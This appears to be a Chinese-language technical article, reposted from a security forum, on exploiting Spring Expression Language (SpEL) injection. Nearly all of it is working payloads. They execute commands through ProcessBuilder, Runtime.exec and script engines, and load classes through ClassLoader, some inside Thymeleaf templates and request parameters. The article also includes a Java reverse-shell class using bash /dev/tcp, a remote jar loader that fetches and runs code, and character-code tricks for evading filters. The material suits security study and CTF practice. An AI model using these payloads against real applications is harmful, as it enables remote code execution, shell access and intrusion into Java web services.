有趣的SpEL注入

本文转自先知社区：https://xz.aliyun.com/t/9245作者：何止

ExpressionParser parser = new SpelExpressionParser();//创建解析器Expression exp = parser.parseExpression("'Hello World'.concat('!')");//解析表达式System.out.println( exp.getValue() );//取值，Hello World！

public class Spel {    public String name = "何止";    public static void main(String[] args) {        Spel user = new Spel();        StandardEvaluationContext context=new StandardEvaluationContext();        context.setVariable("user",user);//通过StandardEvaluationContext注册自定义变量        SpelExpressionParser parser = new SpelExpressionParser();//创建解析器        Expression expression = parser.parseExpression("#user.name");//解析表达式        System.out.println( expression.getValue(context).toString() );//取值,输出何止    }}

String[] str = new String[]{"open","/System/Applications/Calculator.app"};ProcessBuilder p = new ProcessBuilder( str );p.start();//打开计算器

new java.lang.ProcessBuilder(new String[]{"open","/System/Applications/Calculator.app"}).start()

String cmdStr = "new java.lang.ProcessBuilder(new String[]{"open","/System/Applications/Calculator.app"}).start()";
ExpressionParser parser = new SpelExpressionParser();//创建解析器Expression exp = parser.parseExpression(cmdStr);//解析表达式System.out.println( exp.getValue() );//弹出计算器

new ProcessBuilder(new String[]{"open","/System/Applications/Calculator.app"}).start()

Runtime rt = Runtime.getRuntime();//rt.exec(new String[]{"open","/System/Applications/Calculator.app"});

T(java.lang.Runtime).getRuntime().exec("open /System/Applications/Calculator.app")

T(Runtime).getRuntime().exec(new String[]{"open","/System/Applications/Calculator.app"})

public static void main(String[] args) {        ScriptEngineManager manager = new ScriptEngineManager();        List<ScriptEngineFactory> factories = manager.getEngineFactories();        for (ScriptEngineFactory factory: factories){                System.out.printf(                    "Name: %s%n" + "Version: %s%n" + "Language name: %s%n" +                    "Language version: %s%n" +                    "Extensions: %s%n" +                    "Mime types: %s%n" +                    "Names: %s%n",                    factory.getEngineName(),                    factory.getEngineVersion(),                    factory.getLanguageName(),                    factory.getLanguageVersion(),                    factory.getExtensions(),                    factory.getMimeTypes(),                    factory.getNames()                );        } }

ScriptEngineManager sem = new ScriptEngineManager();ScriptEngine engine = sem.getEngineByName("nashorn");System.out.println(engine.eval("2+1"));

new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);")

new javax.script.ScriptEngineManager().getEngineByName("javascript").eval("s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);")

public class Exp{    public Exp(String address){        address = address.replace(":","/");        ProcessBuilder p = new ProcessBuilder("/bin/bash","-c","exec 5<>/dev/tcp/"+address+";cat <&5 | while read line; do $line 2>&5 >&5; done");        try {            p.start();        } catch (IOException e) {            e.printStackTrace();        }    }}

new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://127.0.0.1:8999/Exp.jar")}).loadClass("Exp").getConstructors()[0].newInstance("127.0.0.1:2333")

System.out.println(ClassLoader.getSystemClassLoader());

T(ClassLoader).getSystemClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("open /System/Applications/Calculator.app")

T(ClassLoader).getSystemClassLoader().loadClass("java.lang.ProcessBuilder").getConstructors()[1].newInstance(new String[]{"open","/System/Applications/Calculator.app"}).start()

System.out.println( org.springframework.expression.Expression.class.getClassLoader() );

T(org.springframework.expression.Expression).getClass().getClassLoader()

T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader()

T(com.ctf.controller.Demo).getClass().getClassLoader()

{request.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("touch/tmp/foobar")}
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf

[[${T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,51)+T(String).getName()[0].replace(106,122)+T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,49)}]]#回显h3zh1

[[${T(Character).toString(104)+T(Character).toString(51)+T(Character).toString(122)+T(Character).toString(104)+T(Character).toString(49)}]]

#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,51)%2b#request.getMethod().substring(0,1).replace(80,122)%2b#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,49)

#request.getMethod().substring(0,1).replace(71,104)%2b#request.getMethod().substring(0,1).replace(71,51)%2b#request.getMethod().substring(0,1).replace(71,122)%2b#request.getMethod().substring(0,1).replace(71,104)%2b#request.getMethod().substring(0,1).replace(71,49)